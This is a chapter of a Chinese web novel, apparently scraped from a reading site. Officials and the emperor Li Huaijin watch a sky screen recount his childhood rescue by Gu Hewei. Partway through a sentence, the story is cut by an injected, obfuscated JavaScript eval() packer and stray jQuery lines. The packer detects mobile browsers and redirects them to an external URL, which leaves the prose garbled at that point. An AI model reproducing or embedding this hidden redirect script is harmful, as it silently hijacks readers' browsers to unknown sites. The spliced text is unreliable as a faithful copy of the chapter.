默认冷灰
24号文字
方正启体

3. 救美

作者:墓鹿本书字数:K更新时间:
    随着仪鸾司与太医到来,驱散了围在晋王与滕王周身的亲王后,一心两用的群臣也再度将目光投向天幕。


    【《文帝随笔》中,从未明说李怀瑾与顾何惟的初遇是怎样。但仿照《汉武故事》讲述李怀瑾的《昭文故事》,却细细描绘了这一场景。】


    等等。


    忆起什么的众臣一愣。


    汉武故事?


    汉武故事!


    虽未见《昭文故事》成书,但《汉武故事》究竟能不能给汉武帝看,大昭众臣心里一清二楚。可是天幕却说,《昭文故事》是昭文朝群臣一同编撰……


    众臣:“……”


    微微抬起下巴,璀璨的金眸眯起。


    “昭文故事?”天子似乎笑了一声:“听着倒是有趣。”


    【而《昭文故事》虽然是白话文,却依旧晦涩。既如此,便且看《昭文故事·第二十一回》,独家讲坛译版:


    大雪覆盖了皇城,长安的冬很冷。


    份例里的炭火总是发不足,每日的饭食都冷的像块石头。


    而屋漏偏逢连夜雨,在深冬时节,李从瑜又病了。早产生出的孩子总是体弱,李从瑜也是如此。他需要吃很多很多的药,需要很温暖很温暖的环境,才只能成为一个普通人。一个不发烧,不咳嗽,不头晕,走得稳路的普通人。】


    【纵使母亲也不得宠,但在没有母亲后,李怀瑾与李从瑜的日子过的愈发难。宫里的女人不多,也都有自己的孩子,没人愿意养他们,没人愿意照顾他们,哪怕安排下来的侍从,也总是偷奸耍滑,不愿照看在传言中“克死”亲娘的皇子。


    因此,明明只有六岁,李怀瑾却要被迫长大,去替病弱的弟弟争,争他们本该得到的东西。】


    心似乎被什么骤然抓紧。


    闭着眼睛,天幕的声音愈发清晰。李从瑜仿佛又被带回了童年——他其实并不记得多少。一场又一场的高烧没有烧傻他已是万幸,以至于五岁前的记忆模糊不清,倒也算不得什么毛病。而五岁后,他的皇兄已经被父皇看见。虽不至于一步登天,却也不会再与他一起,悄无声息的死去。


    ……皇兄。


    眼眶不自觉发酸,李从瑜暗自掐住了掌心。


    纵使有编撰的成分,但李从瑜清楚,他的皇兄就是这幅模样。坚韧,果敢,用自己瘦弱的肩,替他撑起一片天。


    他的皇兄,真的一直在为他去争。


    【早产和难产,李从瑜的降生带走了他们的母亲。很难说李怀瑾究竟有没有恨过李从瑜,但他确实将李从瑜照顾的很好。


    身为没有能力的孩子,李怀瑾其实不喜欢和宫女太监发生矛盾,任何矛盾。多数时他都在忍让,忍让被克扣的炭火月例,忍让被调换的饭食衣物。可是他能忍,他不能让李从瑜也忍——李从瑜的身体很差,年龄也小得多,他不能让李从瑜死。


    李怀瑾能接触到的宫人最小的也有十几岁。而他只是孩子,一个在冬天出生,刚满六岁的孩子。甚至自小营养不良,李怀瑾生的比寻常皇子瘦小,也没有多少力气。


    但为了弟弟,他不仅要争,也要抢,更要和那些高大的宫女太监们争执。


    母亲将弟弟托付给了他,他要带着弟弟活下去。


    至少,要活过这个冬天。】


    李从瑜的眼睫剧烈颤动着,一直关注着他的滕王再度发出尖叫。


    “醒了!八哥醒了!”


    在众人的注视下,李从瑜缓缓睁开眼。


    大抵是太阳太亮,他只觉得眼睛愈发酸涩,仿佛有水要落下。吸了吸鼻子,李从瑜拨开滕王想要来掐他人中的手,转过头,看向太医。


    太医:“……”


    太医:“殿□□弱,许是站的久了,才会……”


    李从瑜颔首,直接撑地站起,理了理衣摆袖口,尽可能体面地向高台上的李怀瑾行了一礼。


    “陛下。”他闷声道:“臣弟失礼了。”


    【生病了要吃药,要喝温水,要烧好的碳,不然只会被呛到,咳得更厉害。所以在求到太医的药方后,李怀瑾又去找管事太监追要份例里没给足的炭火,却空手而归。他没有得到任何东西,除了一顿呵斥和讥讽。


    愤怒吗?已经没有愤怒的想法了。


    李从瑜是母亲留下的弟弟,李怀瑾只想让李从瑜活下去。于是他抢走了一旁小太监手中将要送给贵人的碳,拔腿就跑。


    可是一个六岁的孩童,能跑的多快呢。】


    李从瑜的声音很低,高台上听不明晰。


    可李怀瑾却收回投向天幕的目光,看向了李从瑜。


    他这个弟弟总是很天真。或许是病了太久,让他习惯了及时行乐,李从瑜总是一副不稳重的样子。他喜好花,喜好树,喜好诗画,喜好山水,也喜好歌舞。


    但这没什么不好。


    弯了弯唇角,对自己的胞弟,李怀瑾温言道:“无碍。八弟若不适,可先回殿中歇息。”


    “……”李从瑜的声音更低了:“多谢皇兄,臣弟已大好。”


    【短短的腿,在那群太监眼中,跑的就像一只垂死挣扎的兔子。


    可那双纤细的手臂,却牢牢抱住了大大的篮子。


    咒骂声在身后不断响起,太监三两步就追上了那个小贼,拎起来他的衣领就要抢夺篮子。可李怀瑾却出其不意,低头狠狠咬上他的手背,生生咬下了一块肉。


    抢夺终于变成了殴打。


    咬紧牙关,被如破麻袋般痛打的孩童没有发出痛呼,可拳打脚踢的太监却嘴不干净。他们恶毒地咒骂着李怀瑾,声音并未传出很远,却还是吸引了在附近迷路的少年。】


    编的不错。


    太阳渐渐落下了山头,在灿灿夕阳下,天子轻扯了扯唇角。


    当真是传记故事。毕竟,哪有太监真的敢殴打皇子呢?


    不过一份碳罢了,本就是他应得的,抢了也没人敢闹大——毕竟再低贱的皇子也是皇子,再高贵的太监也还是太监。纵使他的童年并未好到哪里,却也没有真的吃这一顿拳打脚踢。


    何况,太监们最擅长的,是从各种细碎的地方折磨你。他们极少会真的咒骂,更不会在光天化日下光明正大的殴打。


    【人之初,性本善。


    且不论未来的顾左丞究竟是何等模样,年少时的顾何惟的确是一个光伟正的好少年。他冲上前去,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17430706|200920||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    救下了已经脱力的孩童,于冬日格格不入的青衣被血污沾染,顾何惟带走了遍体鳞伤的李怀瑾,并将此事禀报给了太祖。


    那是李怀瑾第一次被送到太祖眼中。虽然子嗣众多,秉持着弱肉强食态度的太祖并不在意这个脆弱的小儿子,但顾何惟的据理力争也为李怀瑾争取到了从未有过的待遇——一切身为皇子正常的,该有的待遇。】


    顾何惟……


    李怀瑾轻轻垂下了眼。


    先帝总是说他讨人喜欢,是最聪颖的皇子,也是最明事理的皇子。


    可哪有什么是与生俱来?不过是勤能补拙罢了。他聪颖,是因为他挑灯夜读。他明事理,是因为他对先帝只会说先帝爱听的话。而他明白该说什么会讨人欢心,该做什么会得人青眼,则尽是因为顾何惟。


    顾何惟是他曾经的伴读,也是他的第一位师长。


    温暖的青衣像是翠绿的叶,托起了摔断小腿,在雪地中濒死的他。顾何惟救了他,也在明白前因后果后,教导他该如何和先帝讲述。而凭着最厌恶的矫揉造作,才让他终于得到了一份目光。


    能让他与李从瑜活下去的目光。


    望着下首左丞,李怀瑾弯了弯眉眼。顾何惟敏锐捕捉到了这一点,再度垂眸,避开天子的目光。


    真有分寸啊……


    李怀瑾在心底轻叹。


    所以,他喜欢顾何惟。


    【毫无疑问,这是一场美好的相遇。


    谁能拒绝英雄救美呢?哪怕只是史书上的只言片语,也被千年后的后人翻来覆去,细细品味。


    这次初遇,奠定了顾何惟在李怀瑾心中的特殊。


    无论顾何惟本性如何,本心如何,自那以后,他就像元兴七年的雪,洁白温柔,捧起了烂泥里的李怀瑾。他给了李怀瑾活下去的契机与勇气,他注定是特殊的,注定是不一样的。】


    顾何惟默然。


    一段不属于他的功绩,被强加到了他身上。顾何惟不会觉得欢喜,只觉得荒唐。他的确带走了曾经的天子,但他不喜旧事重提,不想挟恩以报,也不会仗着这个所谓的“恩人”身份对天子指手画脚。


    君君臣臣父父子子。他只是臣子,便只该做臣子该做的事。


    【不过,既然被称作初恋,李怀瑾与顾何惟间自然不会只有这一场初遇值得细说。】


    上首的天子微侧了侧头。


    冕琉摇晃间,那双耀眼的金眸似也变得模糊不清。


    【郎骑竹马来。


    抛却君臣身份,李怀瑾与顾何惟如何不算竹马竹马。比起年龄差甚大的小伙爱老头,老头爱小伙,这对相差六岁的竹马少年时,是真的亲密无间。他们同吃同喝同住,或许为了保护李怀瑾,也为了更好的照顾李怀瑾,明明是丞相长子,顾何惟却住在宫中。】


    【有很多人说,比起太祖和帝师,李怀瑾更像顾何惟养大的。可即使日日相伴,顾何惟也没有将李怀瑾养成另一个自己。要知道,顾左丞自负高傲冷漠,还不爱说话。而昭文帝李怀瑾却如暖阳,温柔亲和平易近人,对任何臣子都一视同仁。】


    李怀瑾:“……”


    李怀瑾笑了笑,没有说话。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)